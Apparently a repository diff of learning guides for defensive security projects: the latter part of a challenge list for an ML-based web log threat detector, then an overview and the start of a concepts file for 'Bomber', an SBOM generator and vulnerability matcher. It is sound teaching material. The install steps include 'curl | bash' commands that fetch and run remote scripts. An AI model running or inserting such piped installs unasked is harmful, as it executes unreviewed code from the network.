- Score it around 0.25-0.35 since this is a behavioral signal with potential for false positives on legitimate API clients
**Test it works:**
Use the dev-log simulator to send a mix of GET/POST/PUT/DELETE/OPTIONS from a single IP and verify the rule fires.
### Challenge 3: Add a Country Blocklist Feature
**What to build:**
Add a configurable list of country codes that automatically boost the threat score of requests originating from those countries. Many organizations restrict traffic from regions where they have no customers.
**Why it's useful:**
Geo-blocking is a common defense layer. The `country_code` feature already exists in the pipeline. This challenge extends it from a passive feature (used by ML models) to an active rule (directly influencing scores).
**What you'll learn:**
- How GeoIP enrichment feeds into the detection pipeline
- Adding configurable parameters via Pydantic Settings
- The tension between geographic blocking and false positives (VPNs, CDNs, traveling employees)
**Hints:**
- Add a `blocked_countries` setting in `config.py` as a comma-separated string, parsed into a `set[str]`
- Add a check in `RuleEngine.score_request` that matches the `country_code` feature against the blocklist
- Score it around 0.20-0.30 since geographic origin alone isn't a strong indicator
**Test it works:**
Set `BLOCKED_COUNTRIES=CN,RU` in `.env`, restart, and verify that requests from those country codes get a score boost.
## Intermediate Challenges
### Challenge 4: Build an Active Learning Feedback Loop
**What to build:**
Add API endpoints for analysts to mark threat events as true positives or false positives, and use those labels to automatically trigger retraining when enough new labels accumulate.
**Implementation approach:**
1. **Add review endpoints** to handle analyst feedback
- `PATCH /threats/{id}/review` with body `{"label": "true_positive"}` or `{"label": "false_positive"}`
- Store the label in `ThreatEvent.review_label` and set `reviewed = True`
- Files to modify: `threats.py`, `threat_service.py`
2. **Add automatic retrain trigger**
- Track the count of new labels since last training
- When the count exceeds a threshold (e.g., 50 new labels), trigger retraining automatically
- Files to create: a background task that periodically checks label counts
3. **Use labels as training data**
- Modify the retrain endpoint to use `review_label` as ground truth instead of score-based labeling
- `true_positive` events become attack samples, `false_positive` events become normal samples
- Files to modify: `models_api.py`
**What you'll learn:**
- Active learning: using human feedback to iteratively improve ML models
- The cold start problem: initial labels are scarce, so the system must work with weak labels (score thresholds) until analysts provide enough real labels
- How false positive reduction directly impacts analyst trust and alert fatigue
**Hints:**
- The `reviewed` and `review_label` fields already exist on `ThreatEvent`. The infrastructure is there, you just need to wire it up
- Consider adding a `labels_since_last_train` counter to `ModelMetadata`
- Be careful with class balance: if analysts only label obvious true positives, the retraining data will be biased
**Extra credit:**
Build a simple "review queue" page in the frontend that shows unreviewed MEDIUM-severity events (the most ambiguous ones) and lets analysts click "True Positive" or "False Positive" buttons.
### Challenge 5: Add Request Body Analysis via Error Logs
**What to build:**
Extend the tailer to also watch nginx error logs, which contain request body information for failed requests. Parse the error log format and extract features from POST bodies.
**Real world application:**
Many injection attacks (SQL injection, XXE, deserialization) are delivered in POST request bodies. The access log only shows the method and path. Error logs often include the actual payload that caused the error, giving the detection system visibility into the attack content.
**What you'll learn:**
- nginx error log format (different from access log combined format)
- Extending the tailer to watch multiple files
- Feature extraction from unstructured text (request bodies contain arbitrary content)
- How the 2017 Equifax breach (CVE-2017-5638) used a Content-Type header payload that would have been visible in error logs but not access logs
**Implementation approach:**
1. **Extend the tailer**
- Add a second `_LogHandler` instance watching the nginx error log
- Both handlers push to the same `raw_queue` with a line prefix indicating the source (`[access]` vs `[error]`)
2. **Add an error log parser**
- Parse the nginx error log format to extract timestamp, error level, client IP, and the error message (which often contains the request body)
- Create a new `ParsedErrorEntry` dataclass
3. **Extract body features**
- Compute entropy, length, and attack pattern matches on the extracted body text
- Add these as additional features (expanding the vector beyond 35 dimensions, which means retraining)
**Hints:**
- nginx error log format: `2026/03/15 09:22:31 [error] 7#7: *1234 upstream prematurely closed connection while reading response header from upstream, client: 93.184.216.34`
- The tricky part is that error logs are much less structured than access logs. You'll need robust parsing for various error message formats
- Consider keeping access log features and error log features as separate feature sets that get concatenated
**Extra credit:**
Add a feature that correlates access log entries with error log entries by timestamp and IP, linking the full request context (from access log) with the error detail (from error log).
### Challenge 6: Add Prometheus Metrics Export
**What to build:**
Add a `/metrics` endpoint that exports pipeline statistics, detection metrics, and system health in Prometheus exposition format.
**Why it's useful:**
Production threat detection systems need monitoring. You want to know: How many requests per second is the pipeline processing? What's the detection rate by severity? Are any queues backing up? How fast is inference?
**What you'll learn:**
- Prometheus metric types (counters, gauges, histograms)
- Instrumenting async Python code without adding latency to the hot path
- The difference between monitoring the monitored system (threat metrics) and monitoring the monitoring system (pipeline health)
**Implementation approach:**
1. **Add prometheus-client dependency**
2. **Instrument the pipeline** with counters and histograms
- `vigil_requests_processed_total` (counter by stage)
- `vigil_threats_detected_total` (counter by severity)
- `vigil_inference_duration_seconds` (histogram)
- `vigil_queue_depth` (gauge per queue)
3. **Add the `/metrics` endpoint** using `generate_latest()`
4. **Add a Grafana dashboard** JSON in `infra/grafana/`
**Hints:**
- Use `time.perf_counter()` around the ONNX inference call for latency measurement
- Queue depths can be sampled periodically (every 5 seconds) via a background task rather than instrumenting every put/get
- The pipeline `stats` dict already tracks processed/error counts. Expose these as Prometheus counters
## Advanced Challenges
### Challenge 7: Add a 4th Model (Transformer)
**What to build:**
Add a small transformer encoder model to the ensemble that processes sequences of requests from the same IP (not just individual requests). This model sees the temporal ordering of requests, which the other three models don't.
**Why this is hard:**
The current models process one request at a time. A transformer needs a sequence of recent requests from the same IP as input. This means buffering recent requests per-IP, padding/truncating to a fixed sequence length, and computing attention across the sequence. The training data pipeline also needs to generate sequences, not individual samples.
**What you'll learn:**
- Transformer architecture for sequential anomaly detection
- Attention mechanisms and what they learn about request sequences
- Integrating a sequence model with per-request models in an ensemble
- How to handle variable-length sequences (padding, masking)
**Architecture changes needed:**
```
┌───────────────────┐
│ Existing Models │
│ (per-request) │
Feature Vector ────────►│ AE + RF + IF ├───┐
└───────────────────┘ │
│
┌───────────────────┐ ├──► Ensemble
Recent N requests ─────►│ Transformer │───┘ Fusion
(from same IP) │ (per-sequence) │
└───────────────────┘
```
**Implementation steps:**
1. **Buffer recent requests per-IP** in Redis or in-memory
- Store the last 16 feature vectors per IP
- Pad with zeros if fewer than 16 are available
2. **Build the transformer model**
- Small encoder-only model: 2 layers, 4 attention heads, 64 embedding dim
- Input: (batch, seq_len=16, features=35)
- Output: anomaly score (single float)
- Train on sequences of normal traffic, flag sequences that contain anomalies
3. **Integrate with the ensemble**
- Add a 4th weight (e.g., AE 0.30, RF 0.30, IF 0.15, Transformer 0.25)
- Export to ONNX alongside the other models
4. **Update the training pipeline**
- Generate sequence samples from the training data
- Handle the cold start (fewer than 16 requests from a new IP)
**Gotchas:**
- The transformer's input shape is (batch, seq, features), not (batch, features). ONNX export handles this but the batch inference in the pipeline needs updating
- Attention can be expensive. Profile the inference latency carefully. A 2-layer transformer with 16 sequence length should be manageable (< 5ms per batch of 32)
**Resources:**
- Vaswani et al., "Attention Is All You Need" (2017), Section 3 for the encoder architecture
- PyTorch `nn.TransformerEncoder` documentation for implementation details
### Challenge 8: Build a Distributed Pipeline with Kafka
**What to build:**
Replace the `asyncio.Queue`-based pipeline with Apache Kafka topics. Each pipeline stage becomes a consumer group that reads from one topic and produces to the next. This removes the single-process throughput ceiling.
**Why this is hard:**
Kafka changes the concurrency model fundamentally. Currently, one Python process handles everything sequentially. With Kafka, you can run multiple parse workers, feature workers, and detection workers independently. But this introduces challenges: message ordering, exactly-once semantics, partition assignment, consumer lag monitoring, and schema evolution.
**What you'll learn:**
- Kafka producer/consumer patterns with aiokafka
- Partitioning strategies (partition by source IP for windowed features)
- Consumer groups and rebalancing
- Schema registry for evolving message formats
- How production systems like Cloudflare's WAF pipeline handle millions of requests per second
**Implementation phases:**
**Phase 1: Topic Design**
- `vigil.raw` - Raw log lines (partitioned by hash of source IP)
- `vigil.parsed` - Parsed log entries (same partition key)
- `vigil.enriched` - Enriched feature vectors
- `vigil.scored` - Final scored results for dispatch
**Phase 2: Replace Queues with Kafka**
- Swap `asyncio.Queue.put/get` with Kafka produce/consume
- Use Avro or JSON Schema for message serialization
- Maintain partition affinity by source IP so windowed features stay consistent
**Phase 3: Scale Out**
- Run 4 parse workers, 2 feature workers, 2 detection workers
- Monitor consumer lag to detect bottlenecks
- Add auto-scaling based on lag thresholds
**Phase 4: Observability**
- Add Kafka metrics to the Prometheus exporter
- Monitor consumer lag, produce latency, and partition distribution
- Build a Grafana dashboard showing pipeline throughput per stage
**Known challenges:**
1. **Windowed features require partition affinity** - All requests from the same IP must go to the same feature worker so the Redis sorted sets are consistent. Use source IP as the Kafka partition key.
2. **Exactly-once semantics** - If a detection worker crashes mid-processing, the message should be reprocessed, not lost. Use Kafka consumer offsets with manual commit after successful processing.
**Success criteria:**
- [ ] Pipeline handles 5000+ req/s sustained (10x current ceiling)
- [ ] Adding/removing workers doesn't cause data loss
- [ ] Consumer lag stays under 1000 messages during normal operation
- [ ] Partition affinity ensures windowed features are correct
## Expert Challenges
### Challenge 9: Build a Full SOAR Integration
**What to build:**
Build a Security Orchestration, Automation, and Response (SOAR) layer that automatically responds to detected threats. HIGH severity events should trigger automated responses: add the source IP to an nginx blocklist, send a Slack/Discord notification, create a ticket in a tracking system, and enrich the alert with threat intelligence from public feeds.
**Prerequisites:**
You should have completed Challenge 4 (active learning) and Challenge 6 (Prometheus metrics) first because this builds on analyst feedback workflows and monitoring infrastructure.
**What you'll learn:**
- SOAR automation patterns used in enterprise SOCs
- Playbook-driven incident response (if-this-then-that automation)
- Threat intelligence integration (AbuseIPDB, VirusTotal, Shodan)
- The risks of automated blocking (false positives lock out real users)
- How tools like Splunk SOAR and Palo Alto XSOAR implement these patterns
**Planning this feature:**
Before you code, think through:
- What actions should be fully automated vs. requiring human approval?
- How do you handle false positive automated blocks? (Answer: auto-unblock after a TTL, require analyst confirmation for permanent blocks)
- What's the blast radius if the ML model goes wrong and generates mass false positives?
**High level architecture:**
```
Scored Request (HIGH severity)
│
├──► Playbook Engine
│ │
│ ├──► Block IP (nginx blocklist update)
│ ├──► Notify (Slack webhook)
│ ├──► Enrich (AbuseIPDB lookup)
│ └──► Ticket (create incident)
│
└──► Audit Log (all actions recorded)
```
**Implementation phases:**
**Phase 1: Playbook Engine**
- Define playbooks as YAML files describing trigger conditions and actions
- Build a simple rule evaluator that matches scored requests to playbooks
- Log all automated actions for audit
**Phase 2: Response Actions**
- nginx blocklist: Write blocked IPs to a file that nginx includes via `deny` directive, then send SIGHUP to reload
- Slack notification: POST to a webhook URL with threat details
- AbuseIPDB enrichment: GET the IP's abuse confidence score and history
**Phase 3: Safety Rails**
- Rate limit automated blocks (max 10 IPs per hour)
- Auto-unblock after a configurable TTL (default 1 hour)
- Require analyst confirmation for blocks that affect more than N requests
- Kill switch: disable all automated responses via an API endpoint
**Phase 4: Dashboard Integration**
- Show automated response status on the threat detail page
- Display enrichment data (AbuseIPDB score, VirusTotal results)
- "Undo Block" button for analysts
**Success criteria:**
- [ ] HIGH severity events trigger automated Slack notifications within 5 seconds
- [ ] Blocked IPs are automatically unblocked after the configured TTL
- [ ] All automated actions are logged with full context
- [ ] The kill switch disables all automation within one API call
- [ ] False positive automated blocks can be reversed by analysts from the dashboard
## Mix and Match
Combine features for bigger projects:
**Project Idea 1: Full SOC Stack**
- Combine Challenge 4 (active learning) + Challenge 6 (Prometheus) + Challenge 9 (SOAR)
- Add a case management system for tracking incidents from detection to resolution
- Result: A miniature Security Operations Center in a Docker Compose stack
**Project Idea 2: Multi-Source Detection**
- Combine Challenge 5 (error logs) + Challenge 7 (transformer) + Challenge 8 (Kafka)
- Ingest from multiple log sources, use the transformer to detect multi-stage attacks that span request sequences
- Result: A distributed, multi-source threat detection platform
## Real World Integration Challenges
### Integrate with Elasticsearch and Kibana
**The goal:**
Ship all scored threat events to Elasticsearch for long term storage and build Kibana dashboards for investigation.
**What you'll need:**
- Elasticsearch 8.x cluster (can run locally via Docker)
- Kibana for visualization
- Understanding of Elasticsearch index mappings and ILM policies
**Implementation plan:**
1. Add an Elasticsearch output to the `AlertDispatcher` (parallel to PostgreSQL, not replacing it)
2. Define an index mapping that includes GeoIP fields as `geo_point` type for map visualizations
3. Build a Kibana dashboard with:
- Threat map showing source IPs on a world map
- Timeline of threat scores over time
- Top attack types by rule name
- Drill-down from severity to individual events
**Watch out for:**
- Elasticsearch bulk indexing latency can slow down the dispatch stage. Use async bulk operations with a buffer
- Index lifecycle management (ILM) to prevent unbounded storage growth. Roll indices daily and delete after 30 days
### Deploy to Kubernetes
**The goal:**
Convert the Docker Compose stack to Kubernetes manifests and deploy to a cluster.
**What you'll learn:**
- Writing Kubernetes Deployments, Services, ConfigMaps, and Secrets
- Persistent volume claims for PostgreSQL and model data
- Health probes (liveness, readiness, startup) mapped from Docker healthchecks
- Horizontal Pod Autoscaler for the backend based on queue depth metrics
**Steps:**
1. Convert each Docker Compose service to a Kubernetes Deployment
2. Create Services for internal communication (postgres, redis, backend)
3. Use a ConfigMap for non-secret configuration and Secrets for credentials
4. Create PersistentVolumeClaims for postgres data and model artifacts
5. Add an Ingress resource for frontend traffic
6. Set up HPA for the backend based on Prometheus metrics (Challenge 6)
**Production checklist:**
- [ ] All secrets are stored in Kubernetes Secrets, not ConfigMaps
- [ ] PostgreSQL uses a StatefulSet with persistent storage
- [ ] Backend readiness probe gates traffic until models are loaded
- [ ] Resource requests and limits are set for all pods
- [ ] Network policies restrict access to PostgreSQL and Redis
## Performance Challenges
### Challenge: Handle 5000 Requests Per Second
**The goal:**
Make the single-process pipeline handle 5000 req/s without dropping logs.
**Current bottleneck:**
ML inference at ~640 req/s with batch size 32. The detection stage is the ceiling.
**Optimization approaches:**
**Approach 1: Increase batch size**
- How: Set `BATCH_SIZE=128` and `BATCH_TIMEOUT_MS=100`
- Gain: Larger batches amortize ONNX session overhead. Expected 2-3x throughput
- Tradeoff: Higher latency (up to 100ms wait for a full batch vs. 50ms)
**Approach 2: Quantize the ONNX models**
- How: Use ONNX Runtime's quantization tools to convert float32 models to int8
- Gain: 2-4x inference speedup on CPU with minimal accuracy loss
- Tradeoff: Small accuracy degradation, especially for the autoencoder. Validate with the quality gates
**Approach 3: Skip ML inference for clearly benign traffic**
- How: If the rule engine scores 0.0 (no rules matched), skip ML inference and output the rule score directly
- Gain: 90-95% of traffic is benign, so this skips inference for most requests
- Tradeoff: You lose ML-only detections (anomalies that don't match any rule). Acceptable if rule coverage is good
**Benchmark it:**
```bash
just devlog-simulate normal 10000 -d 0.0001
```
Target metrics:
- Throughput: 5000+ req/s sustained
- Queue depths: raw_queue never full
- p99 latency: < 200ms end-to-end
### Challenge: Reduce Memory Footprint
**The goal:**
Run the entire stack on a 2GB RAM machine (currently needs 4GB+).
**Profile first:**
```bash
docker stats --no-stream
```
**Common optimization areas:**
- ONNX models: 50-200MB. Quantization (int8) reduces this by 2-4x
- GeoIP database: ~60MB mmap'd. Switch to the smaller GeoLite2-Country (~5MB) if city-level precision isn't needed
- PostgreSQL: Reduce `shared_buffers` and `work_mem` in `postgresql.conf`
- Redis: Set `maxmemory 64mb` with `allkeys-lru` eviction to cap memory usage
## Security Challenges
### Challenge: Add TLS Mutual Authentication for the API
**What to implement:**
Require client certificates for API access instead of (or in addition to) the X-API-Key header.
**Threat model:**
This protects against:
- API key theft (the key is a static string that could be leaked in logs, config files, or commit history)
- Replay attacks (a stolen API key can be used from any network location)
**Implementation:**
- Generate a CA certificate, server certificate, and client certificate using `openssl`
- Configure uvicorn to require client certificates (or put nginx in front of the backend with `ssl_verify_client on`)
- Validate the client certificate's subject CN against an allowlist
**Testing the security:**
- Try to hit the API without a client certificate (should get 403)
- Try with a certificate signed by a different CA (should get 403)
- Verify that certificate rotation works (issue new certs, old ones still work until revoked)
### Challenge: Pass CIS Docker Benchmark
**The goal:**
Make the Docker Compose stack compliant with the CIS Docker Benchmark.
**Current gaps:**
- Containers run as root (add `USER` directives to Dockerfiles)
- No resource limits (add `mem_limit` and `cpus` to compose.yml)
- No read-only root filesystem (add `read_only: true` where possible)
- No security options (add `security_opt: [no-new-privileges:true]`)
**Remediation:**
Run `docker-bench-security` against the stack and address each finding. Focus on the host configuration, daemon configuration, and container runtime sections.
## Contribution Ideas
Finished a challenge? Share it back:
1. **Fork the repo**
2. **Implement your extension** in a new branch
3. **Document it** in this learn folder
4. **Submit a PR** with:
- Your implementation
- Tests
- Updated learn documentation
- Example output showing it works
Good extensions might get merged into the main project.
## Challenge Yourself Further
### Build Something New
Use the concepts you learned here to build:
- A **network traffic anomaly detector** that analyzes pcap files instead of HTTP logs, using the same ensemble approach but with network-layer features (packet sizes, protocol distribution, connection patterns)
- A **DNS threat detector** that monitors DNS query logs for tunneling, DGA domains, and anomalous resolution patterns
- A **container runtime anomaly detector** that watches syscall traces from Falco and flags unusual process behavior
### Study Real Implementations
Compare your implementation to production tools:
- **Suricata** - Open source IDS/IPS. Look at how their rule engine handles signature matching at wire speed. Their multi-threaded architecture handles 10 Gbps+
- **Elastic ML** - Elasticsearch's anomaly detection module. Compare their time-series decomposition approach with our autoencoder approach
- **AWS GuardDuty** - Amazon's managed threat detection. Read their documentation on how they combine ML, threat intelligence, and behavioral analysis
Read their code (Suricata is open source), understand their tradeoffs, steal their good ideas.
### Write About It
Document your extension:
- Blog post explaining what you built and what you learned about threat detection
- Comparison between rule-based and ML-based detection approaches using concrete examples from your experience with this project
- Analysis of false positive rates at different ensemble weight configurations
Teaching others is the best way to verify you understand it.
## Getting Help
Stuck on a challenge?
1. **Debug systematically**
- What did you expect to happen?
- What actually happened?
- What's the smallest test case that reproduces it?
2. **Read the existing code**
- The rule engine in `rules.py` shows the pattern for adding detection logic
- The pipeline in `pipeline.py` shows how stages communicate
- The orchestrator in `orchestrator.py` shows the full training flow
3. **Search for similar problems**
- FastAPI async patterns: fastapi.tiangolo.com
- ONNX Runtime issues: github.com/microsoft/onnxruntime
- Redis sorted set patterns: redis.io/docs/data-types/sorted-sets
4. **Ask for help**
- Post in GitHub Discussions
- Include: what you tried, what happened, what you expected
- Show the relevant code and error messages, not just the stack trace
## Challenge Completion
Track your progress:
- [ ] Easy 1: Add XXE detection rule
- [ ] Easy 2: Add method anomaly detection
- [ ] Easy 3: Add country blocklist
- [ ] Intermediate 4: Build active learning feedback loop
- [ ] Intermediate 5: Add error log analysis
- [ ] Intermediate 6: Add Prometheus metrics
- [ ] Advanced 7: Add transformer model
- [ ] Advanced 8: Build Kafka distributed pipeline
- [ ] Expert 9: Build SOAR integration
Completed all of them? You've mastered this project. Time to build something new or contribute back to the community.

204
PROJECTS/intermediate/sbom-generator-vulnerability-matcher/learn/00-OVERVIEW.md Normal file
View File

@ -0,0 +1,204 @@
# Bomber - SBOM Generator & Vulnerability Matcher
## What This Is
Bomber is a Go CLI tool that scans project directories for dependencies across Go, Node.js, and Python ecosystems, constructs a dependency graph with cycle detection and depth tracking, generates SBOM documents in SPDX 2.3 and CycloneDX 1.5 JSON formats, and cross-references every package against the OSV and NVD vulnerability databases. It includes a policy engine that gates CI/CD pipelines by enforcing severity thresholds, dependency depth limits, and vulnerability age constraints.
## Why This Matters
Software supply chain attacks have become one of the most effective and fastest-growing categories of breaches. Attackers target the code you didn't write: the libraries, frameworks, and transitive dependencies your project pulls in. Without visibility into what's actually in your dependency tree, you can't defend against it. That's what SBOMs solve, and that's why governments and enterprises are now mandating them.
**Real world scenarios where this applies:**
- **SolarWinds Orion, 2020** - Attackers compromised the build pipeline of SolarWinds' Orion platform and injected a backdoor (SUNBURST) into a routine software update. 18,000 organizations installed the update, including the US Treasury, DHS, and FireEye. The core problem: no organization consuming Orion had visibility into what code was actually inside it. An SBOM wouldn't have prevented the injection, but it would have given defenders a machine-readable manifest to immediately answer "do we use this component?" when the advisory dropped, instead of the weeks of manual triage that actually happened.
- **Log4Shell (CVE-2021-44228), December 2021** - A critical RCE vulnerability in Apache Log4j affected virtually every Java application. CVSS 10.0. Organizations spent weeks determining whether they were exposed because Log4j was buried as a transitive dependency three or four levels deep. Companies with SBOMs could query their records and know within minutes. Everyone else was reading JAR manifests by hand. This is the exact problem Bomber's dependency graph with depth tracking solves: `pkg.DepthLevel` tells you exactly how far removed a vulnerable library is from your direct dependencies.
- **event-stream incident (npm), 2018** - A malicious maintainer gained commit access to the popular `event-stream` npm package and added a dependency on `flatmap-stream`, which contained code targeting the Copay Bitcoin wallet. The attack targeted a transitive dependency that most consumers never knew existed. Bomber's graph construction traces these chains, and the policy engine's `max_depth` rule lets you set a ceiling on how deep your transitive dependency tree is allowed to go.
## What You'll Learn
Building this project teaches you how SBOM generation and vulnerability matching work at the protocol level, not just as abstract concepts.
**Security Concepts:**
- **Software Bill of Materials (SBOM)** - What an SBOM actually contains, why Executive Order 14028 mandated them for US federal suppliers, and the difference between the two dominant formats (SPDX and CycloneDX)
- **Package URL (PURL) specification** - The universal addressing scheme for software packages across ecosystems. PURL is how bomber identifies `pkg:golang/golang.org/x/net@v0.1.0` vs `pkg:npm/express@4.18.2` vs `pkg:pypi/requests@2.31.0` using a single format
- **CVSS v3.1 scoring** - The math behind vulnerability severity scores. Bomber implements the full CVSS v3.1 base score calculator at `internal/vuln/cvss.go`, including the ISS formula, scope-dependent impact adjustments, and the round-up function from the CVSS specification
- **Vulnerability database protocols** - How the OSV batch query API and NVD REST API v2.0 work, including PURL-based lookups, CPE matching, rate limiting, and the differences between the two
**Technical Skills:**
- **Multi-ecosystem dependency parsing** - Parsing `go.mod`/`go.sum`, `package.json`/`pnpm-lock.yaml`, and `pyproject.toml`/`uv.lock` to extract package names, versions, and dependency relationships
- **Directed graph construction** - Building dependency graphs with BFS-based depth computation and DFS-based cycle detection at `internal/graph/graph.go`
- **Interface-driven architecture** - Using Go interfaces (`DependencyParser`, `vuln.Client`) to make the system extensible without modifying core logic
- **SQLite caching** - TTL-based response caching with `modernc.org/sqlite` (a pure-Go SQLite implementation) to avoid redundant API calls
**Tools and Techniques:**
- **Cobra CLI framework** - Building a multi-command CLI (`scan`, `generate`, `vuln`, `check`) with persistent flags, custom help functions, and signal handling for graceful cancellation
- **SPDX 2.3 and CycloneDX 1.5 JSON output** - Generating spec-compliant SBOM documents with proper namespacing, external references, and relationship tracking
- **Policy-as-code for CI/CD** - YAML-based policy files evaluated at `internal/policy/engine.go` that exit with code 1 on violation, designed to drop into any CI pipeline
## Prerequisites
**Required knowledge:**
- **Go basics** - You need to understand interfaces, structs, goroutines, and the standard library's `encoding/json`, `net/http`, and `os` packages. The code uses all of these heavily.
- **Dependency management concepts** - You should know what a lockfile is, what "direct" vs "transitive" dependencies means, and roughly how `go.mod`, `package.json`, and `pyproject.toml` work.
- **HTTP APIs** - The vulnerability matchers make HTTP requests to external services. You should understand request/response cycles, status codes, and JSON serialization.
**Tools you'll need:**
- **Go 1.25+** - The `go.mod` declares `go 1.25.0`
- **just** - Task runner for build, test, and lint commands. Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin`
- **golangci-lint** - For linting. The project configures 14 linters at `.golangci.yml`
**Helpful but not required:**
- **SPDX specification** - Reading the SPDX 2.3 JSON schema helps understand the output format, but the implementation guide covers the key fields
- **CycloneDX specification** - Same for CycloneDX 1.5
- **SQL basics** - The cache uses SQLite, but the queries are simple
## Installation
Three ways to install Bomber:
**Option 1: Go install**
```bash
go install github.com/CarterPerez-dev/bomber/cmd/bomber@latest
```
Requires Go 1.25+. The binary is placed in your `$GOPATH/bin` (or `$GOBIN`).
**Option 2: Install script** (no Go required)
```bash
curl -fsSL https://raw.githubusercontent.com/CarterPerez-dev/Cybersecurity-Projects/main/PROJECTS/intermediate/sbom-generator-vulnerability-matcher/install.sh | bash
```
This downloads a pre-built binary for your platform (Linux/macOS, amd64/arm64). Falls back to building from source with Go if no binary is available.
**Option 3: Build from source**
```bash
cd PROJECTS/intermediate/sbom-generator-vulnerability-matcher
go build -ldflags="-s -w" -o bin/bomber ./cmd/bomber
```
This is the path you'll use when working through this project and making changes.
## Quick Start
```bash
cd PROJECTS/intermediate/sbom-generator-vulnerability-matcher
bomber scan . # scan this project's own dependencies
bomber generate . --sbom-format spdx # generate SPDX 2.3 SBOM
bomber generate . --sbom-format cyclonedx # generate CycloneDX 1.5 SBOM
bomber vuln . # check for known vulnerabilities
bomber check . --policy policy.yaml # evaluate against a policy
```
Expected output from `bomber scan .`: a summary showing the number of packages (direct and transitive), detected ecosystems, and any circular dependencies.
For vulnerability scanning with NVD enrichment, set an API key:
```bash
export BOMBER_NVD_API_KEY="your-key-here"
bomber vuln .
```
## Project Structure
```
sbom-generator-vulnerability-matcher/
├── cmd/bomber/main.go # Entry point, calls cli.Execute()
├── internal/
│ ├── cli/ # Cobra commands
│ │ ├── root.go # Root command, global flags, signal handling
│ │ ├── scan.go # `bomber scan` - dependency discovery
│ │ ├── generate.go # `bomber generate` - SBOM output
│ │ ├── vuln.go # `bomber vuln` - vulnerability matching
│ │ └── check.go # `bomber check` - policy evaluation
│ ├── config/
│ │ └── config.go # Tool metadata and API constants
│ ├── graph/
│ │ └── graph.go # Graph traversal, cycle detection, merging
│ ├── parser/
│ │ ├── parser.go # DependencyParser interface
│ │ ├── registry.go # Parser registry and auto-detection
│ │ ├── gomod.go # Go ecosystem: go.mod, go.sum, go mod graph
│ │ ├── node.go # Node ecosystem: package.json, pnpm-lock.yaml
│ │ └── python.go # Python ecosystem: pyproject.toml, uv.lock
│ ├── policy/
│ │ ├── rules.go # Policy YAML loading
│ │ └── engine.go # Policy evaluation: severity, depth, age
│ ├── report/
│ │ ├── terminal.go # Colored terminal output
│ │ └── json.go # JSON report output
│ ├── sbom/
│ │ ├── spdx.go # SPDX 2.3 JSON generator
│ │ └── cyclonedx.go # CycloneDX 1.5 JSON generator
│ ├── ui/ # Colors, spinner, banner, symbols
│ └── vuln/
│ ├── client.go # Vulnerability client interface
│ ├── osv.go # OSV batch query API client
│ ├── nvd.go # NVD REST API v2.0 client with rate limiting
│ ├── cvss.go # CVSS v3.1 base score calculator
│ └── cache.go # SQLite-backed response cache with TTL
├── pkg/types/types.go # Core types: Package, Vulnerability, ScanResult
├── testdata/ # Test fixtures for all ecosystems
├── Justfile # Task runner
└── .golangci.yml # Linter configuration (14 linters)
```
## Development Commands
This project uses [`just`](https://github.com/casey/just) as a command runner. Run `just` with no arguments to see all available commands.
| Command | Description |
|---------|-------------|
| `just lint` | Run golangci-lint |
| `just lint-fix` | Run golangci-lint with auto-fix |
| `just format` | Format code via golangci-lint |
| `just vet` | Run `go vet` |
| `just tidy` | Run `go mod tidy` |
| `just test` | Run all tests with race detector |
| `just test-v` | Run tests with verbose output |
| `just cover` | Run tests with coverage summary |
| `just cover-html` | Generate HTML coverage report |
| `just ci` | Run lint + test (full CI check) |
| `just run <args>` | Run bomber with arguments (e.g., `just run scan .`) |
| `just dev-scan` | Scan current directory |
| `just dev-generate` | Generate CycloneDX SBOM for current directory |
| `just dev-vuln` | Run vulnerability scan on current directory |
| `just build` | Production build to `bin/bomber` |
| `just install` | `go install` to `$GOPATH/bin` |
| `just info` | Show project/Go/OS info |
| `just clean` | Remove build artifacts |
## Next Steps
Work through the documents in order:
1. **01-CONCEPTS.md** - Security concepts: SBOMs, supply chain attacks, SPDX vs CycloneDX, PURL, CVSS scoring, vulnerability databases
2. **02-ARCHITECTURE.md** - System design: pipeline architecture, data flow, component interactions, design patterns
3. **03-IMPLEMENTATION.md** - Code walkthrough: every key file explained with code snippets
4. **04-CHALLENGES.md** - Extensions: new ecosystems, SARIF output, license compliance, GitHub Actions integration
## Common Issues
**"No ecosystems detected":**
Bomber looks for `go.mod`, `package.json`, or `pyproject.toml` in the target directory and its subdirectories. Make sure the path you're scanning contains at least one of these files. Use `--verbose` to see what directories are being traversed.
**Vulnerability scan returns empty results:**
The OSV API is the primary source and requires no authentication. If it's returning empty, the packages may genuinely have no known vulnerabilities. Try scanning a project with a known vulnerable dependency like `golang.org/x/net@v0.1.0` to verify the tool works.
**NVD queries are slow:**
Without an API key, NVD rate-limits to one request every 1.7 seconds. With a key (`export BOMBER_NVD_API_KEY=...`), the rate increases to one request every 200ms. NVD queries are per-package (not batched like OSV), so large dependency trees take time.
**Cache is stale:**
The SQLite cache defaults to a 24-hour TTL. Use `--no-cache` to bypass it, or delete `~/.bomber/cache.db` to clear it entirely.
**Build errors with Go version:**
This project requires Go 1.25+. Check your version with `go version`.
## Related Projects
Other projects in this repository that complement SBOM generation:
- **secrets-scanner** (`PROJECTS/intermediate/secrets-scanner/`) - Scans source code for hardcoded secrets. Where Bomber audits your dependency supply chain, Portia audits what you're accidentally shipping inside your own code.
- **docker-security-audit** (`PROJECTS/intermediate/docker-security-audit/`) - Audits Docker images for security issues. Container images have their own dependency trees (OS packages, installed binaries) that also benefit from SBOM analysis.
- **api-security-scanner** (`PROJECTS/intermediate/api-security-scanner/`) - Scans APIs for misconfigurations. Complements Bomber by testing runtime security posture rather than build-time dependency risk.

410
PROJECTS/intermediate/sbom-generator-vulnerability-matcher/learn/01-CONCEPTS.md Normal file
View File

@ -0,0 +1,410 @@
# Core Security Concepts
This document covers the security fundamentals behind SBOM generation and vulnerability matching. These aren't abstract definitions. Each concept ties directly to code in this project and to real incidents where these ideas either saved organizations or, more often, where the absence of them caused damage.
## Software Supply Chain Security
### What It Is
Your application is mostly code you didn't write. A typical Node.js project pulls in hundreds of transitive dependencies. A Go project with two direct dependencies might resolve to a dozen indirect ones. A Python project with `requests` in its `pyproject.toml` brings in `urllib3`, `certifi`, `charset-normalizer`, and `idna` behind the scenes.
Supply chain security is about knowing what's in that dependency tree, whether any of it is vulnerable, and whether you can trust the chain of custody from the original author to your production build.
### Why It Matters
The attack surface of modern software has shifted. Attacking a well-defended application directly is hard. Compromising one of its 300 dependencies, especially a transitive one that nobody is watching, is much easier.
